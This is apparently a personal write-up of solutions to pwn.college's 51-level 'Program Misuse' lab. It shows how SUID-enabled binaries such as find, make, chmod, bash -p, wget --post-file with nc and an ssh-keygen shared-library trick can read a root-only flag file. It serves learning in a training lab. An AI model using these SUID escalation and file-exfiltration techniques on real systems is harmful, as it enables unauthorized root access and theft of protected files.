Program Misuse [51/51] | Fundamentals Dojo
In pwn.college “Program Misuse” it covered the privilege escalation of binary tools when they are assigned with too many privileges like SUID. Here is how I tackled all 51 flags.
What is SUID and GUID
SUID (Set owner User ID up on execution) and GUID (Set owner up on Group ID up on execution) are permissions set on binary execution. These permissions when assigned to binary tools can be exploited to escalate privileges (launching a root shell).
Enumeration
To detect of privileges have SUID and GUID Privileges:
SUID – The “s” in the fourth character specifies SUID bit is set. This binary will execute as the root user which is the owner user of the binary.1
GUID – The “s” in seventh character specifies that GUID bit is set. This binary will execute as the root group which is the owner group of the binary. 1
To find binaries with SUID/GUID:
SUID : find / -perm -4000 -type f -ls 2>/dev/null
GUID : find / -perm -2000 -type f -ls 2>/dev/null
Takeaways
This Fundamentals dojo exposed me to a number of Linux tools and how to use them. The puzzles pushed me to read the manuals of the tools (one that I normally would not bother to read) and familiarized me with a lot of the syntax commonly used.
Some of my solutions could have been improved, but overall, this section has been manageable with some hiccups here and there (emacs and ssh-keygen).
Solutions
For puzzles 1-16, I did not cover most solutions as they were pretty straightforward. Most tools were easily understood by reading the manual with man [tool]. I also leave out the flags themselves so as to maintain the spirit of the game.
- cat
- more
- less
- tail
- head
- sort
- vim
- emacs (could not run it with GUI due to GTK+ error)
1 2 3
emacs -nw (runs without gui) Ctrl+X, Ctrl+F /flag
- nano
- rev
- od
- hd
1
hd -f /flag
- xxd
- base32
- base64
- split
- gzip
1 2
gzip -r /flag OR gzip -v /flag gzip -d -c /flag.gz
- bzip2
1 2
bzip2 /flag bzip2 -d -c /flag.bz2
- zip
1 2 3
zip z /flag ls -al z.zip // check if file is created cat z.zip
- tar
1 2
tar -cf archive.tar /flag cat archive.tar
- ar
1 2
ar r archive.a /flag cat archive.a
- cpio
1 2
ls /flag | cpio -ov >/home/hacker/archive.cpio cat archive.cpio
- genisoimage: https://gtfobins.github.io/gtfobins/genisoimage/
1
genisoimage -sort /flag
- env
1
env /usr/bin/cat /flag
- find
1
find /flag -exec "cat" {} \; - make : https://gtfobins.github.io/gtfobins/make/
1
make -s --eval=$'x:\n\t-'"cat /flag"
- nice
1
nice cat /flag
- timeout
1
timeout 1 cat /flag
- stdbuf
1
stdbuf -i 0 cat /flag
- setarch: https://man7.org/linux/man-pages/man8/setarch.8.html
1
setarch i386 cat /flag (i386 is AMD64)
- watch
1
watch -x cat /flag
- socat: https://gtfobins.github.io/gtfobins/socat/
1
socat -u "file:/flag" -
- whiptail
1
whiptail --textbox --scroltext "/flag" 10 50
- awk
1
awk '{print}' /flag - sed
1
sed "" /flag
- ed
1 2
ed /flag ,p
- chown
1
chown hacker /flag
- chmod
1
chmod +rwx /flag
- cp
1 2
cp /flag /home/hacker/stuff.txt cat stuff.txt
- mv : https://medium.com/workindia-in/the-dark-side-of-mv-command-3419c1bd619
1 2
mv /usr/bin/cat /usr/bin/mv ./babysuid_level40
- perl
1
perl -pe {END} /flag - python
1
python /flag
- ruby (partial)
1 2
ruby /flag {incompleteFlag} - bash
1 2
bash -p (privileged mode) cat /flag
- date
1
date -f /flag
- dmesg
1
dmesg -F /flag
- wc
1
wc --files0-from=/flag
- gcc
1 2 3
gcc -x c -E /flag OR gcc @/flag
- as
1
as -Z @/flag
- wget
1 2 3 4
wget -i /flag pwn.college{flag} // Wrong solution, the caps are gotten rid of through verbose error messages) nc -lp 8888 & wget --post-file=/flag http://127.0.0.1:8888 // Best solution pwn.college{correctflag} - ssh-keygen
Based on the video (Connor’s Opening Hours)2, I was guided to the solution for lab 51.To discover the option used , we first go through the manual for ssh-keygen man ssh-keygen. With trial and discovery, it is discovered that we cannot run the /flag file directly through the command. However, we could create a program in C (compiled by gcc) that reads the /flag file to trick the command to call the function that appears in the error message.
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("Hello World ");
return 0;
}
// we can also use __attribute__((constructor)) here instead of naming the function C_GetFunctionList to run the function automtically without being called.
int C_GetFunctionList(){
sendfile(1, open("/flag", 0), 0, 4096);
}
Then after, compile the code as a shared library with gcc and use the compiled file on ssh-keygen.
1
2
gcc -shared 51.c
ssh-keygen -D ./a.out